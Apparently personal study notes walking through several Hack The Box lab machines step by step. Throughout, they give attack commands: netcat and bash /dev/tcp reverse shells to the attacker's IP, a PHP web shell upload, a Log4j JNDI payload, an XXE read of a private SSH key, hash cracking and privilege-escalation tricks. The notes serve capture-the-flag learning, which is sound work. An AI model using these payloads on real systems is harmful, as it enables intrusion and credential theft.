Table of Contents¶
[!attention] Insights
- Always check privileges and file type
Archetype¶
- list shares on SMB and connect to non-Administrative
- read available file
- connect via impacket-mssqlclient
> [!note] Without the
-windows-authoptional argument our connection will > not work
[!help] Helpful links:
Reverse shell¶
- after enabling
xp_cmdshellon server (enable_xp_cmdshell) -
download netcat executable:
-
run netcat on your machine and on the target machine:
xp_cmdshell "powershell -c cd C:\Users\user\Downloads; .\nc.exe -e cmd.exe <your_ip> <port>" - download
PEAS-ng files
to the target (or copy from
/opt/useful/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe):- from your machine:
sudo python3 -m http.server 80 - on the target machine:
wget http://<your_ip>/winPEASx64.exe -outfile winpeas.exe
- from your machine:
- AND winPEASx64.exe GIVES ME NOTHING!
-
so just search credentials in PowerShell history:
[!cite] Explanation from here "After doing a bit of enumeration I found the C:/backups folder which was the SMB share, there’s a chance that the Administrator created that backup using a command called net. When using the net command as a non-admin user you’ve got to provide the Administrator username and Password to allow you to create a network share. Therefore in the PowerShell history file their command may have been saved and we could obtain credentials through that way."
Oopsie¶
[!note] Notes from official HTB writeup
- nmap the target
- intercept using BurpSuite "Login as Guest" traffic
- change
idin url toid=1 - change cookies to admin
- upload
php-reverse-shell.phpfrom/usr/share/webshells/ - bruteforce directories with
gobuster - run netcat:
nc -lvnp 1234 - request downloaded reverse shell from browser:
http://<target_ip>/uploads/php-reverse-shell.php - spawn functional shell:
python3 -c 'import pty;pty.spawn("/bin/bash")' - in Apache directory search for legit password
- switch to user:
su <username> - check the basic commands for elecvating privileges(sudo, id):
sudo -l - find binaries related to bugtracker group:
find / -group bugtracker - check file type and permissions:
file <file_name> && ls -la <file_name> - run binary
Executing binaries as root¶
- create file in
/tmpwith/bin/shand make it executable - add
/tmpdirectory to PATH:export PATH=/tmp:$PATH - check for success:
echo $PATH - run binary
Vaccine¶
- nmap
ftpto target and getbackup.zip
Cracking¶
- get hash:
zip2john backup.zip > ziphash - crack:
john -wordlist=/usr/share/wordlists/rockyou.txt ziphash - save hash which find in zipped files
- crack hash:
hashcat -a 0 -m 0 <passwdhash> /usr/share/wordlists/rockyou.txt
Unified¶
- enumerate:
sudo nmap -sVC -T4 -Pn --open -p- <target_ip> -oN <filename> - google UniFy 6.4.54 exploit
- What’s Going on With Log4j?
- intercept 'Login'
POSTrequest and send to repeater
[!note]
- JNDI - Java Naming and Directory Interface API
- LDAP - Lightweight Directory Access Protocol (port 389)
Exploitation¶
[!hint] Payload
echo "bash -c bash -i >&/dev/tcp/<your_ip>/<port> 0>&1" | base64java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,<hash>}|{base64,-d}|{bash,-i}" --hostname "<your_tun>"[!attention] DON'T use spaces between pipes!
- make shell more interactive
script /dev/null -c bash - get user flag
cat /etc/passwdgives us mongodb userps aux | grep mongodbgives us mongodb process and port
Privileges Escalation¶
[!note] Default database name for the UniFi application is ace Payload:
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
$6$- sha512 default identifier- generate new password hash:
mkpasswd -m sha-512 Password1! -
update administrator password hash:
-
login with new password
- find root password
- ssh as root
Markup¶
- enum machine (
masscanfaster for UDP scan) - login via default admin credentials or bruteforce (
ffuf, BurpSuite etc.) - intercept 'Order' submit
[!note] XML Payload hacktricks
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><item>&test;</item>you may want to bruteforce pathes with BurpSuite Intruder
[!hint] Findings from
<head></head>Modified by Daniel
- modify payload related to findings
(file:///)c:/users/daniel/.ssh/id_rsa- save into file and change permissions to
400(Permissions****for 'id_rsa' are too open.) - ssh to machine
- check privileges and permissions:
whoami /priv - seek for uncommon directory
icacls job.bat
Escalation¶
- run netcat on your machine
- exploit:
[!attention]
- Make sure you are not running the echo command from PowerShell.
- many attempts might lead to failure
- exploit should be run multiple times until it becomes successful